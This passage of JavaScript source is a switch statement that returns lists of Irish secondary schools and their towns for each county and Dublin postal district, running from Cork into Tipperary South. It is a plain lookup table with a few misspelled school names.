Crosshaven\",\"Coláiste Muire, Cobh\",\n\t\t\t\t\t\t \"Coláiste Na Toirbhirte, Bandon\",\"Colaiste Pobail Naomh Mhuire, Cill na Mullach\",\n\t\t\t\t\t\t \"Colaiste Treasa, Kanturk\",\"Davis College, Mallow\",\"De La Salle College, Macroom\",\n\t\t\t\t\t\t \"Glanmire Community College, Glanmire\",\"Kinsale Community School, Kinsale\",\n\t\t\t\t\t\t \"Loreto Secondary School, Fermoy\",\"Mannix College, Charleville\",\n\t\t\t\t\t\t \"Maria Immaculata Community College, Dunmanway\",\"McEgan College, Macroom\",\n\t\t\t\t\t\t \"Mercy Heights Secondary School, Skibbereen\",\"Midleton College, Midleton\",\n\t\t\t\t\t\t \"Millstreet Community School, Millstreet Town\",\"Mount St Michael, Rosscarbery\",\n\t\t\t\t\t\t \"Nagle Rice Secondary School, Doneraile\",\"Patrician Academy, Mallow\",\n\t\t\t\t\t\t \"Pobalscoil na Tríonóide, Youghal\",\"Presentation Secondary School, Mitchelstown\",\n\t\t\t\t\t\t \"Rossa College, Skibbereen\",\"Sacred Heart Secondary School, Clonakilty\",\n\t\t\t\t\t\t \"Schull Community College, Schull\",\"Scoil Mhuire, Kanturk\",\"Scoil Mhuire, Béal Atha an Ghaorth\",\n\t\t\t\t\t\t \"Scoil Mhuire gan Smal, Blarney\",\"Scoil na mBráithre Chríostaí, Charleville\",\n\t\t\t\t\t\t \"St Aidan's Community College, Dublin Hill\",\"St Aloysius College, Carrigtwohill\",\n\t\t\t\t\t\t \"St Colman's Community College, Midleton\",\"St Fachtna's - De La Salle College, Skibbereen\",\n\t\t\t\t\t\t \"St Fanahan's College, Mallow\",\"St Francis Capuchin College, Rochestown\",\n\t\t\t\t\t\t \"St Goban's College, Bantry\",\"St Mary's High School, Midleton\",\"St Mary'S Secondary School, Macroom\",\n\t\t\t\t\t\t \"St Mary's Secondary School, Mallow\",\"St Peter's Community School, Passage West\",\n\t\t\t\t\t\t \"St. Brogan's College, Bandon\",\"St. Mary's Secondary School, Charleville\"];\n\tbreak;\n\tcase \"Donegal\": return [\"Abbey Vocational School, Donegal Town\",\"Carndonagh Community School, Lifford\",\n\t\t\t\t\t\t \"Carrick Vocational School, Carrick\",\"Coláiste Ailigh, Highroad\",\"Coláiste Cholmcille, Ballyshannon\",\n\t\t\t\t\t\t \"Coláiste Phobail Cholmcille, Doirí Beaga\",\"Crana College, Buncrana\",\"Deele College, Lifford\",\n\t\t\t\t\t\t \"Errigal College, Letterkenny\",\"Finn Valley College, Stranorlar\",\n\t\t\t\t\t\t \"Gaelcholaiste Chineál Eoghain, Bun Chranncha\",\"Gairm Scoil Chú Uladh, Leifear\",\n\t\t\t\t\t\t \"Gairmscoil Mhic Diarmada, Árainn Mhór\",\"Loreto Community School, Milford\",\n\t\t\t\t\t\t \"Loreto Convent, Letterkenny\",\"Magh Ene College, Bundoran\",\"Moville Community College, Moville\",\n\t\t\t\t\t\t \"Mulroy College, Letterkenny\",\"Pobalscoil Chloich Cheannfhaola, Leitir Ceanainn\",\n\t\t\t\t\t\t \"Pobalscoil Ghaoth Dobhair, Leitir Ceannain\",\"Rosses Community School, Dungloe\",\n\t\t\t\t\t\t \"Scoil Mhuire Secondary School, Buncrana\",\"St Columbas College, Stranorlar\",\n\t\t\t\t\t\t \"St Columba's Comprehensive School, Glenties\",\"St Eunan's College, Letterkenny\",\n\t\t\t\t\t\t \"St. Catherine's Vocational School, Killybegs\",\"The Royal and Prior School, Raphoe\"];\n\tbreak;\n\tcase \"Dublin 1\": return [\"Belvedere College S.J, Dublin 1\",\"Larkin Community College, Dublin 1\",\n\t\t\t\t\t\t \"Mount Carmel Secondary School, Dublin 1\",\"O'Connell School, Dublin 1\"];\n\tbreak;\n\tcase \"Dublin 2\": return [\"C.B.S. Westland Row, Dublin 2\",\"Catholic University School, Dublin 2\",\n\t\t\t\t\t\t \"Loreto College, Dublin 2\"];\n\tbreak;\n\tcase \"Dublin 3\": return [\"Holy Faith Secondary School, Dublin 3\",\"Marino College, Dublin 3\",\n\t\t\t\t\t\t\t \"Mount Temple Comprehensive School, Dublin 3\",\"St Josephs C.B.S., Dublin 3\"];\n\tbreak;\n\tcase \"Dublin 4\": return [\"John Scottus Secondary School, Dublin 4\",\"Marian College, Dublin 4\",\n\t\t\t\t\t\t\t \"Muckross Park College, Dublin 4\",\"St Conleths College, Dublin 4\",\n\t\t\t\t\t\t\t \"St Michaels College, Dublin 4\",\"Technical Institute, Dublin 4\",\n\t\t\t\t\t\t\t \"The Teresian School, Dublin 4\"];\n\tbreak;\n\tcase \"Dublin 5\": return [\"Árdscoil La Salle, Dublin 5\",\"Chanel College, Dublin 5\",\n\t\t\t\t\t\t\t \"Manor House School, Dublin 5\",\"Mercy College Coolock, Dublin 5\",\n\t\t\t\t\t\t\t \"St Marys Secondary School, Dublin 5\",\"St Pauls College, Dublin 5\",\n\t\t\t\t\t\t\t \"St. David's C.B.S., Dublin 5\"];\n\tbreak;\n\tcase \"Dublin 6\": return [\"Alexandra College, Dublin 6\",\"Gonzaga College, Dublin 6\",\n\t\t\t\t\t\t\t \"Rathmines College, Dublin 6\",\"Sandford Park School Ltd, Dublin 6\",\n\t\t\t\t\t\t\t \"St Louis High School, Dublin 6\",\"St Marys College, Dublin 6\",\n\t\t\t\t\t\t\t \"Stratford College, Dublin 6\",\"The High School, Dublin 6\"];\n\tbreak;\n\tcase \"Dublin 6W\": return [\"Prensentation College, Dublin 6W\",\"Our Ladys School, Dublin 6W\",\n\t\t\t\t\t\t\t \"St Mac Dara's Community College, Dublin 6W\",\"Templeogue College, Dublin 6W\",\n\t\t\t\t\t\t\t \"Terenure College, Dublin 6W\"];\n\tbreak;\n\tcase \"Dublin 7\": return [\"Coláiste Éanna, Dublin 7\",\"Coláiste Mhuire, Baile Atha Cliath 7\",\n\t\t\t\t\t\t\t \"St Declan's College, Dublin 7\",\"St Dominics College, Dublin 7\",\n\t\t\t\t\t\t\t \"St Josephs Secondary School, Dublin 7\",\"St Pauls C.B.S., Dublin 7\"];\n\tbreak;\n\tcase \"Dublin 8\": return [\"C.B.S. James Street, Dublin 8\",\"Liberties College, Dublin 8\",\n\t\t\t\t\t\t\t \"Mercy Secondary School, Dublin 8\",\"Presentation College, Dublin 8\",\n\t\t\t\t\t\t\t \"St Patricks Cathedral G.S, Dublin 8\",\"Christian Brothers, Dublin 8\"];\n\tbreak;\n\tcase \"Dublin 9\": return [\"Scoil Chaitriona, Baile Átha Cliath 9\",\"Trinity Comprehensive School, Dublin 9\",\n\t\t\t\t\t\t\t \"Árdscoil Rís, Dublin 9\",\"Dominican College, Dublin 9\",\n\t\t\t\t\t\t\t \"Margaret Aylward Community College, Dublin 9\",\"Maryfield College, Dublin 9\",\n\t\t\t\t\t\t\t \"Our Lady Of Mercy College, Dublin 9\",\"Plunket College, Dublin 9\",\n\t\t\t\t\t\t\t \"Rosmini Community School, Dublin 9\",\"St. Aidan's C.B.S., Dublin 9\",\n\t\t\t\t\t\t\t \"Whitehall House Senior College, Dublin 9\"];\n\tbreak;\n\tcase \"Dublin 10\": return [\"Caritas College, Dublin 10\",\"Kylemore College, Dublin 10\",\n\t\t\t\t\t\t\t \"Saint Dominic's Secondary School, Dublin 10\",\"St Johns College De La Salle, Dublin 10\"];\n\tbreak;\n\tcase \"Dublin 11\": return [\"Beneavin De La Salle College, Dublin 11\",\"Coláiste Eoin, Dublin 11\",\"Mater Christi, Dublin 11\",\n\t\t\t\t\t\t\t \"Patrician College, Dublin 11\",\"St Kevins College, Dublin 11\",\n\t\t\t\t\t\t\t \"St Mary's Secondary School, Dublin 11\",\"St Michaels Secondary School, Dublin 11\",\n\t\t\t\t\t\t\t \"St Vincents C.B.S. Glasnevin, Dublin 11\"];\n\tbreak;\n\tcase \"Dublin 12\": return [\"Assumption Secondary School, Dublin 12\",\"Greenhills College, Dublin 12\",\n\t\t\t\t\t\t\t \"Loreto College, Dublin 12\",\"Meanscoil Chroimghlinne, Dublin 12\",\"Meanscoil Iognáid Rís, Dublin 12\",\n\t\t\t\t\t\t\t \"Our Lady Of Mercy Secondary School, Dublin 12\",\"Pearse College - Colaiste an Phiarsaigh, Dublin 12\",\n\t\t\t\t\t\t\t \"Rosary College, Dublin 12\",\"St Pauls Secondary School, Dublin 12\",\"St. Kevins College, Dublin 12\"];\n\tbreak;\n\tcase \"Dublin 13\": return [\"Gealcholáiste Reachrann, Baile Atha Cliath 13\",\"Grange Community College, Dublin 13\",\n\t\t\t\t\t\t\t \"Pobalscoil Neasáin, Dublin 13\",\"Santa Sabina Dominican College, Dublin 13\",\n\t\t\t\t\t\t\t \"St Marys Secondary School, Dublin 13\",\"St. Fintan's High School, Dublin 13\",\n\t\t\t\t\t\t\t \"Sutton Park School, Dublin 13\",\"The Donahies Community School, Dublin 13\"];\n\tbreak;\n\tcase \"Dublin 14\": return [\"Da La Salle College, Dublin 14\",\"Jesus and Mary College, Dublin 14\",\n\t\t\t\t\t\t\t \"Loreto High School, Dublin 14\",\"Mount Anville Secondary School, Dublin 14\",\n\t\t\t\t\t\t\t \"Notre Dame Secondary School, Dublin 14\",\"St Kilian's Deutsche Schule, Dublin 14\"];\n\tbreak;\n\tcase \"Dublin 15\": return [\"Blakestown Community School, Dublin 15\",\"Castleknock College, Dublin 15\",\n\t\t\t\t\t\t\t \"Castleknock Community College, Dublin 15\",\"Colaiste Pobail Setanta, Dublin 15\",\n\t\t\t\t\t\t\t \"Hartstown Community School, Dublin 15\",\"Luttrellstown Community College, Dublin 15\",\n\t\t\t\t\t\t\t \"Riversdale Community College, Dublin 15\",\"Scoil Phobail Chuil Mhin, Baile Atha Cliath 15\"];\n\tbreak;\n\tcase \"Dublin 16\": return [\"Ballinteer Community School, Dublin 16\",\"Rockbrook Park School, Dublin 16\",\n\t\t\t\t\t\t\t \"Sancta Maria College, Dublin 16\",\"St Columba's College, Dublin 16\",\n\t\t\t\t\t\t\t \"St. Colmcille's Community School, Dublin 16\",\"St. Tiernan's Community School, Dublin 16\",\n\t\t\t\t\t\t\t \"Wesley College, Dublin 16\",\"Colaiste Eanna, Dublin 16\"];\n\tbreak;\n\tcase \"Dublin 17\": return [\"Coláiste Dhúlaigh, Dublin 17\"];\n\tbreak;\n\tcase \"Dublin 18\": return [\"Cabinteely Community School, Dublin 18\",\"Loreto College Foxrock, Dublin 18\",\n\t\t\t\t\t\t\t \"St Laurence College, Dublin 18\"];\n\tbreak;\n\tcase \"Dublin 20\": return [\"Mount Sackville Secondary School, Dublin 20\",\"Phobailscoil Iosolde, Dublin 20\",\n\t\t\t\t\t\t\t \"The Kings Hospital, Dublin 20\"];\n\tbreak;\n\tcase \"Dublin 22\": return [\"Coláiste Bríde, Dublin 22\",\"Coláiste Chilliain, Baile Atha Cliath 22\",\n\t\t\t\t\t\t\t \"Collinstown Park Community College, Dublin 22\",\"Deansrath Community College, Dublin 22\",\n\t\t\t\t\t\t\t \"Moyle Park College, Dublin 22\",\"St. Kevin's Community College, Dublin 22\"];\n\tbreak;\n\tcase \"Dublin 24\": return [\"Coláiste de hÍde, Baile Atha Cliath 24\",\"Firhouse Community College, Dublin 24\",\n\t\t\t\t\t\t\t \"Killinarden Community School, Dublin 24\",\"Mount Seskin Community College, Dublin 24\",\n\t\t\t\t\t\t\t \"Old Bawn Community School, Dublin 24\",\"St Aidan's Community School, Dublin 24\",\n\t\t\t\t\t\t\t \"St Marks Community School, Dublin 24\",\"Tallaght Community School, Dublin 24\"];\n\tbreak;\n\tcase \"Dublin County\": return [\"Adamstown Community College, Adamstown\",\"Ardgillan Community College, Balbriggan\",\n\t\t\t\t\t\t\t \"Balbriggan Community College, Balbriggan\",\"Blackrock College, Blackrock\",\n\t\t\t\t\t\t\t \"Christian Brothers College, Dun Laoghaire\",\"Clonkeen College, Blackrock\",\n\t\t\t\t\t\t\t \"Coláiste Choilm, Swords\",\"Coláiste Cois Life, Leamhcán\",\"Coláiste Eoin, Blackrock\",\n\t\t\t\t\t\t\t \"Coláiste Íosagáin,Blackrock\",\"Coláiste Phádraig CBS, Lucan\",\"Dominican College, Blackrock\",\n\t\t\t\t\t\t\t \"Donabate Community College, Donabate\",\"Dun Laoghaire College of, Dun Laoghaire\",\n\t\t\t\t\t\t\t \"Fingal Community College, Swords\",\"Holy Child Community School, Sallynoggin\",\n\t\t\t\t\t\t\t \"Holy Child Secondary School, Killiney\",\"Holy Family Community School, Rathcoole\",\n\t\t\t\t\t\t\t \"Loreto Abbey Secondary School, Dalkey\",\"Loreto College, Swords\",\n\t\t\t\t\t\t\t \"Loreto Secondary School, Balbriggan\",\"Lucan Community College, Lucan\",\n\t\t\t\t\t\t\t \"Malahide Community School, Malahide\",\"Newpark Comprehensive School, Blackrock\",\n\t\t\t\t\t\t\t \"Oatlands College, Mount Merrion\",\"Portmarnock Community School, Portmarnock\",\n\t\t\t\t\t\t\t \"Rathdown School, Glenageary\",\"Rockford Manor Secondary School, Blackrock\",\n\t\t\t\t\t\t\t \"Rosemont School, Blackrock\",\"Senior College Dunlaoghaire, Dun Laoghaire\",\n\t\t\t\t\t\t\t \"Skerries Community College, Skerries\",\"St Andrews College, Blackrock\",\n\t\t\t\t\t\t\t \"St Benildus College, Blackrock\",\"St Finians Community College, Swords\",\n\t\t\t\t\t\t\t \"St Joseph Of Cluny, Killiney\",\"St Josephs College, Lucan\",\"St Joseph's Secondary School, Rush\",\n\t\t\t\t\t\t\t \"St Raphaela's Secondary School, Stillorgan\",\"Willow Park School, Blackrock\"];\n\tbreak;\n\tcase \"Galway City\": return [\"Coláiste Einde, Galway\",\"Coláiste Iognáid S.J., Gaillimh\",\n\t\t\t\t\t\t\t \"Coláiste na Coiribe, Gaillimh\",\"Dominican College, Galway\",\"Galway Community College, Galway\",\n\t\t\t\t\t\t\t \"Galway Technical Institute, Galway\",\"Jesus & Mary Secondary School, Galway\",\n\t\t\t\t\t\t\t \"Meán Scoil Mhuire, Galway\",\"Presentation Secondary School, Galway\",\n\t\t\t\t\t\t\t \"St Joseph's College, Galway\",\"St. Mary's College, Galway\"];\n\tbreak;\n\tcase \"Galway County\": return [\"Archbishop McHale College, Tuam\",\"Ardscoil Mhuire, Ballinasloe\",\n\t\t\t\t\t\t\t \"Calasanctius College, Oranmore\",\"Coláiste an Chreagáin, Ballinasloe\",\n\t\t\t\t\t\t\t \"Colaiste Cholmcille, Indreabhán\",\"Colaiste Chroi Mhuire, An Spideal\",\n\t\t\t\t\t\t\t \"Coláiste Ghobnait, Oileáin Arann\",\"Coláiste Mhuire, Ballygar\",\n\t\t\t\t\t\t\t \"Coláiste Naomh Feichín, Corr na Mona\",\"Colaiste Sheosaimh, Beál Áth na Slua\",\n\t\t\t\t\t\t\t \"Dunmore Community School, Dunmore\",\"Gaelcholaiste an Eachréidh, Athenry\",\n\t\t\t\t\t\t\t \"Gairm Scoil Chilleáin Naofa, Ballinasloe\",\"Gairmscoil Éinne Oileain Arann, Árainn\",\n\t\t\t\t\t\t\t \"Gairmscoil Mhuire, Athenry\",\"Gairmscoil na bPiarsach, Ros Muc\",\n\t\t\t\t\t\t\t \"Gleanamaddy Community School, Glenamaddy\",\"Gort Community School, Gort\",\n\t\t\t\t\t\t\t \"Holy Rosary College, Mountbellew\",\"Mercy College, Woodford\",\"Portumna Community School, Portumna\",\n\t\t\t\t\t\t\t \"Presentation College, Athenry\",\"Presentation College, Headford\",\"Presentation College, Tuam\",\n\t\t\t\t\t\t\t \"Scoil Chuimsitheach Chiaráin, An Cheathrú Rua\",\"Scoil Phobail, Clifden\",\n\t\t\t\t\t\t\t \"Scoil Phobail Mhic Dara, Carna\",\"Seamount College, Kinvara\",\n\t\t\t\t\t\t\t \"St Brigids Vocational School, Loughrea\",\"St Pauls, Oughterard\",\n\t\t\t\t\t\t\t \"St Raphaels College, Loughrea\",\"St. Brigid's School, Tuam\",\"St. Cuan's College, Ballinasloe\",\n\t\t\t\t\t\t\t \"St. Jarlaths College, Tuam\"];\n\tbreak;\n\tcase \"Kerry\": return [\"C.B.S. Secondary School, Tralee\",\"Castleisland Community College, Castleisland\",\n\t\t\t\t\t\t\t \"Causeway Comprehensive School, Causeway\",\"Coláiste Bhréanainn, Cill Airne\",\n\t\t\t\t\t\t\t \"Coláiste Íde, Daingean Uí Chúis\",\"Coláiste na Sceilge, Caherciveen\",\n\t\t\t\t\t\t\t \"Community College Killorglin, Killorglin\",\"Comprehensive School, Listowel\",\n\t\t\t\t\t\t\t \"Gaelcholáiste Chiarraí, Trá Lí\",\"Killarney Community College, Killarney\",\n\t\t\t\t\t\t\t \"Listowel Community College, Listowel\",\"Mean Scoil Naomh Ioseph, Castleisland\",\n\t\t\t\t\t\t\t \"Meanscoil Nua an Leith Triuigh, Caislean Ghriaire\",\"Meanscoil Phadraig Naofa, Castleisland\",\n\t\t\t\t\t\t\t \"Mercy Secondary School, Tralee\",\"Pobalscoil Chorca Dhuibhne, An Daingean\",\n\t\t\t\t\t\t\t \"Pobalscoil Inbhear Sceine, Kenmare\",\"Presentation Secondary School, Listowel\",\n\t\t\t\t\t\t\t \"Presentation Secondary School, Tralee\",\"Presentation Secondary School, Killarney\",\n\t\t\t\t\t\t\t \"Scoil Phobail Sliabh Luachra, Rathmore\",\"St. Brigid's Secondary School, Killarney\",\n\t\t\t\t\t\t\t \"St. Joseph's Secondary School, Ballybunion\",\"St. Michael's College, Listowel\",\n\t\t\t\t\t\t\t \"The Intermediate School, Killorglin\",\"Tralee Community College, Tralee\"];\n\tbreak;\n\tcase \"Kildare\": return [\"Árdscoil na Trionóide, Athy\",\"Ardscoil Rath Iomgháin, Rathangan\",\n\t\t\t\t\t\t\t \"Athy Community College, Athy\",\"Clongowes Wood College, Naas\",\n\t\t\t\t\t\t\t \"Colaiste Lorcain, Castledermot\",\"Coláiste Naomh Mhuire, Naas\",\n\t\t\t\t\t\t\t \"Confey Community College, Leixlip\",\"Cross And Passion College, Kilcullen\",\n\t\t\t\t\t\t\t \"Curragh Post-Primary School, Curragh\",\"Gael Cholaiste Chill Dara, An Curragh\",\n\t\t\t\t\t\t\t \"Holy Family Secondary School, Newbridge\",\"Leixlip Community School, Leixlip\",\n\t\t\t\t\t\t\t \"Maynooth Post Primary School, Maynooth\",\"Meánscoil Iognáid Ris, Naas\",\n\t\t\t\t\t\t\t \"Newbridge College, Newbridge\",\"Patrician Secondary School, Newbridge\",\n\t\t\t\t\t\t\t \"Piper's Hill College, Naas\",\"Presentation Secondary School, Kildare Town\",\n\t\t\t\t\t\t\t \"Salesian College, Celbridge\",\"Scoil Dara, Kilcock\",\"Scoil Mhuire Community School, Naas\",\n\t\t\t\t\t\t\t \"St Conleth's Community College, Newbridge\",\"St Farnan's Post Primary School, Prosperous\",\n\t\t\t\t\t\t\t \"St Joseph's Academy, Kildare Town\",\"St Pauls Secondary School, Monasterevin\",\n\t\t\t\t\t\t\t \"St Wolstan's Community School, Celbridge\",\"Vocational School, Kildare Town\"];\n\tbreak;\n\tcase \"Kilkenny\": return [\"Abbey Community College, Ferrybank\",\"City Vocational School, Kilkenny\",\n\t\t\t\t\t\t\t \"Coláiste Cois Siúire, Mooncoin\",\"Coláiste Éamann Rís, Callan\",\"Coláiste Mhuire, Johnstown\",\n\t\t\t\t\t\t\t \"Coláiste Pobail Osraí, Cill Chainnigh\",\"Community School, Castlecomer\",\n\t\t\t\t\t\t\t \"Duiske College, Graignamanagh\",\"Grennan College, Thomastown\",\"Kilkenny College, Kilkenny\",\n\t\t\t\t\t\t\t \"Loreto Secondary School, Kilkenny\",\"Meánscoil na mBráithre Criostaí, Cill Chainnigh\",\n\t\t\t\t\t\t\t \"Presentation Secondary School, Loughboy\",\"Scoil Aireagail, Ballyhale\",\"St Kieran's College, Kilkenny\",\n\t\t\t\t\t\t\t \"St. Brigid's College, Callan\"];\n\tbreak;\n\tcase \"Laois\": return [\"Clonaslee Vocational School, Clonaslee\",\"Coláiste Íosagáin, Portarlington\",\"Community School, Mountmellick\",\n\t\t\t\t\t\t\t \"Heywood Community School, Portlaoise\",\"Mountrath Community School, Mountrath\",\n\t\t\t\t\t\t\t \"Portlaoise College, Portlaoise\",\"Scoil Chriost Ri, Portlaoise\",\"St Fergal's College, Rathdowney\",\n\t\t\t\t\t\t\t \"St. Mary's C.B.S., Portlaoise\"];\n\tbreak;\n\tcase \"Leitrim\": return [\"Ballinamore Post Primary Schools, Ballinamore\",\"Carrigallen Vocational School, Carrigallen\",\n\t\t\t\t\t\t\t \"Community School, Carrick-On-Shannon\",\"Lough Allen College, Drumkeerin\",\n\t\t\t\t\t\t\t \"Mohill Community College, Mohill\",\"St. Clare's Comprehensive School, Manorhamilton\",\n\t\t\t\t\t\t\t \"Vocational School, Drumshambo\",\"Vocational School, Carrick-On-Shannon\"];\n\tbreak;\n\tcase \"Limerick City\": return [\"Ardscoil Mhuire, Limerick\",\"Ardscoil Ris, Limerick\",\"Colaiste Mhichil, Limerick\",\n\t\t\t\t\t\t\t \"Crescent College Comprehensive, Limerick\",\"Gaelcholaiste Luimnigh, Luimneach\",\n\t\t\t\t\t\t\t \"Laurel Hill Coláiste FCJ, Luimneach\",\"Laurel Hill Secondary School FCJ, Limerick\",\n\t\t\t\t\t\t\t \"Limerick Senior College, Limerick\",\"Presentation Secondary School, Limerick\",\n\t\t\t\t\t\t\t \"Salesian Secondary School, Limerick\",\"Scoil Carmel, Limerick\",\"St Clements College, Limerick\",\n\t\t\t\t\t\t\t \"St Endas Community School, Limerick\",\"St Munchin's College, Limerick\",\n\t\t\t\t\t\t\t \"St Nessan's Community College, Limerick\",\"Villiers Secondary School, Limerick\"];\n\tbreak;\n\tcase \"Limerick County\": return [\"Árd Scoil Mhuire FCJ, Bruff\",\"Castletroy College, Castletroy\",\"Colaiste Chiarain, Croom\",\n\t\t\t\t\t\t\t \"Coláiste Ióasef, Kilmallock\",\"Colaiste Mhuire, Askeaton\",\"Colaiste na Trocaire, Rathkeale\",\n\t\t\t\t\t\t\t \"Coláiste Pobail Mhichíl, Cappamore\",\"Desmond College, Newcastle West\",\"Glenstal Abbey School, Murroe\",\n\t\t\t\t\t\t\t \"Hazelwood College, Dromcollogher\",\"John The Baptist Community School, Hospital\",\n\t\t\t\t\t\t\t \"Salesian Secondary College, Pallaskenry\",\"Scoil Mhuire & Íde, Newcastle West\",\n\t\t\t\t\t\t\t \"Scoil Pól, Kilfinane\",\"St Fintan's C.B.S, Doon\",\"St Ita's College, Abbeyfeale\",\n\t\t\t\t\t\t\t \"St Joseph's Secondary School, Doon\",\"St. Jospeh's Sec. School, Abbeyfeale\",\n\t\t\t\t\t\t\t \"Vocational School, Abbeyfeale\"];\n\tbreak;\n\tcase \"Longford\": return [\"Ardscoil Phadraig, Granard\",\"Ballymahon Vocational School, Ballymahon\",\"Cnoc Mhuire, Granard\",\n\t\t\t\t\t\t\t \"Lanesboro Community College, Lanesboro\",\"Meán Scoil Muire, Longford Town\",\n\t\t\t\t\t\t\t \"Mercy Secondary School, Ballymahon\",\"Moyne Community School, Moyne\",\"St. Mel's College, Longford\",\n\t\t\t\t\t\t\t \"Templemichael College, Templemichael\"];\n\tbreak;\n\tcase \"Louth\": return [\"Ardee Community School, Ardee\",\"Bush Post Primary School, Dundalk\",\"Colaiste Rís, Dún Dealgan\",\n\t\t\t\t\t\t\t \"De La Salle College, Dundalk\",\"Drogheda Grammar School, Drogheda\",\"Dundalk Grammar School, Dundalk\",\n\t\t\t\t\t\t\t \"Ó Fiaich College, Dundalk\",\"Our Ladys College, Drogheda\",\"Sacred Heart Secondary School, Drogheda\",\n\t\t\t\t\t\t\t \"Scoil Ui Mhuiri, Dunleer\",\"St Louis Secondary School, Dundalk\",\"St Mary's College, Dundalk\",\n\t\t\t\t\t\t\t \"St Mary's Diocesan School, Drogheda\",\"St Oliver's Community College, Drogheda\",\n\t\t\t\t\t\t\t \"St Vincent's Secondary School, Dundalk\",\"St. Joseph's C.B.S., Drogheda\"];\n\tbreak;\n\tcase \"Mayo\": return [\"Balla Secondary School, Castlebar\",\"Ballinrobe Community School, Ballinrobe\",\n\t\t\t\t\t\t\t \"Ballyhaunis Community School, Ballyhaunis\",\"Carrowbeg College, Westport\",\n\t\t\t\t\t\t\t \"Coláiste Cholmáin, Claremorris\",\"Colaiste Chomain, Ballina\",\"Coláiste Mhuire, Tuar Mhic Éadaigh\",\n\t\t\t\t\t\t\t \"Davitt College, Castlebar\",\"Jesus & Mary Secondary School, Crossmolina\",\"McHale College, Westport\",\n\t\t\t\t\t\t\t \"Mount St Michael, Claremorris\",\"Moyne College, Ballina\",\"Naomh Iosaef, Caisleán An Bharraig\",\n\t\t\t\t\t\t\t \"Our Lady's Secondary School, Belmullet\",\"Rice College, Westport\",\"Sacred Heart School, Westport\",\n\t\t\t\t\t\t\t \"Sancta Maria College, Louisburgh\",\"Scoil Damhnait, Acaill\",\"Scoil Muire Agus Padraig, Swinford\",\n\t\t\t\t\t\t\t \"St Joseph's Secondary School, Foxford\",\"St Josephs Secondary School, Charlestown\",\n\t\t\t\t\t\t\t \"St Louis Community School, Kiltimagh\",\"St Muredachs College, Ballina\",\n\t\t\t\t\t\t\t \"St. Brendan's College, Belmullet\",\"St. Geralds College, Castlebar\",\n\t\t\t\t\t\t\t \"St. Mary's Secondary School, Ballina\",\"St. Patrick's College, Killala\",\"St. Tiernan's College, Ballina\"];\n\tbreak;\n\tcase \"Meath\": return [\"Ashbourne Community School, Ashbourne\",\"Athboy Community School, Athboy\",\n\t\t\t\t\t\t\t \"Beaufort College, Navan\",\"Boyne Community School, Trim\",\"Colaiste na hInse, Bettystown\",\n\t\t\t\t\t\t\t \"Coláiste Pobail Rath Cairn, Athboy\",\"Community College, Dunshaughlin\",\"Eureka Secondary School, Kells\",\n\t\t\t\t\t\t\t \"Franciscan College, Gormanstown\",\"Loreto Secondary School, Navan\",\"O'Carolan College, Nobber\",\n\t\t\t\t\t\t\t \"Ratoath College, Ratoath\",\"Scoil Mhuire, Trim\",\"St Ciaran's Community School, Kells\",\n\t\t\t\t\t\t\t \"St Oliver Post Primary, Oldcastle\",\"St Patrick's Classical School, Navan\",\n\t\t\t\t\t\t\t \"St Peter's College, Dunboyne\",\"St. Fintinas Post Primary School, Enfield\",\n\t\t\t\t\t\t\t \"St. Joseph's Secondary School, Navan\"];\n\tbreak;\n\tcase \"Monaghan\": return [\"Ballybay Community College, Ballybay\",\"Beech Hill College, Monaghan\",\"Castleblayney College, Castleblayney\",\n\t\t\t\t\t\t\t \"Coláiste Oiriall, Muineachán\",\"Inver College, Carrickmacross\",\"Largy College, Clones\",\n\t\t\t\t\t\t\t \"Monaghan Collegiate School, Monaghan\",\"Our Lady's Secondary School, Castleblayney\",\n\t\t\t\t\t\t\t \"Patrician High School, Carrickmacross\",\"St Louis Secondary School, Carrickmacross\",\n\t\t\t\t\t\t\t \"St. Louis Secondary School, Monaghan\",\"St. Macartan's College, Monaghan\"];\n\tbreak;\n\tcase \"Offaly\": return [\"Ard Scoil Chiarain Naofa, Clara\",\"Colaiste Choilm, Tulach Mhor\",\"Colaiste Na Sionna, Banagher\",\n\t\t\t\t\t\t\t \"Coláiste Naomh Cormac, Kilcormac\",\"Gallen Community School, Ferbane\",\n\t\t\t\t\t\t\t \"Killina Presentation Secondary School, Tullamore\",\"Oaklands Community College, Edenderry\",\n\t\t\t\t\t\t\t \"Sacred Heart Secondary School, Tullamore\",\"St Mary's Secondary School, Edenderry\",\n\t\t\t\t\t\t\t \"St.Brendan's Community School, Birr\",\"Tullamore College, Tullamore\"];\n\tbreak;\n\tcase \"Roscommon\": return [\"Abbey Community College, Boyle\",\"C.B.S. Roscommon, Roscommon\",\"Castlerea Community School, Castlerea\",\n\t\t\t\t\t\t\t \"Elphin Community College, Castlerea\",\"Roscommon Community School, Roscommon\",\n\t\t\t\t\t\t\t \"Scoil Muire gan Smal, Roscommon\",\"Scoil Mhuire, Strokestown\",\"St Nathy's College, Ballaghaderreen\"];\n\tbreak;\n\tcase \"Sligo\": return [\"Ballinode College, Ballinode\",\"Coláiste Iascaigh, Easkey\",\"Colaiste Mhuire, Ballymote\",\n\t\t\t\t\t\t\t \"Coola Post Primary School, Via Boyle\",\"Corran College, Ballymote\",\"Grange Vocational School, Grange\",\n\t\t\t\t\t\t\t \"Jesus & Mary Secondary School, Enniscrone\",\"Mercy College, Sligo\",\n\t\t\t\t\t\t\t \"North Connaught College, Tubbercurry\",\"Sligo Grammar School, Sligo\",\n\t\t\t\t\t\t\t \"St Attracta's Community School, Tubbercurry\",\"St Marys College, Ballysadare\",\n\t\t\t\t\t\t\t \"Summerhill College, Sligo\",\"Ursuline College, Finisklin\"];\n\tbreak;\n\tcase \"Tipperary North\": return [\"Borrisokane Community College, Borrisokane\",\"C.B.S. Thurles, Thurles\",\"Cistercian College, Roscrea\",\n\t\t\t\t\t\t\t \"Coláiste Mhuire Co-Ed, Thurles\",\"Colaiste Phobáil Ros Cré, Roscrea\",\"Nenagh Vocational School, Nenagh\",\n\t\t\t\t\t\t\t \"Our Ladys Secondary School, Templemore\",\"Presentation Secondary School, Thurles\",\n\t\t\t\t\t\t\t \"St Joseph's College, Newport\",\"St Josephs College, Thurles\",\"St Mary's Secondary School, Nenagh\",\n\t\t\t\t\t\t\t \"St. Joseph's C.B.S, Nenagh\",\"St. Mary's Secondary School, Newport\",\"St. Sheelan's College, Templemore\",\n\t\t\t\t\t\t\t \"Ursuline Secondary School, Thurles\"];\n\tbreak;\n\tcase \"Tipperary South\": return [\"Árdscoil na mBráithre, Clonmel\",\"C.B.S., Carrick-On-Suir\",\"Cashel Community School, Cashel\",\n\t\t\t\t\t\t\t \"Central Technical Institute, Clonmel\",\"Colaiste Dun Iascaigh, 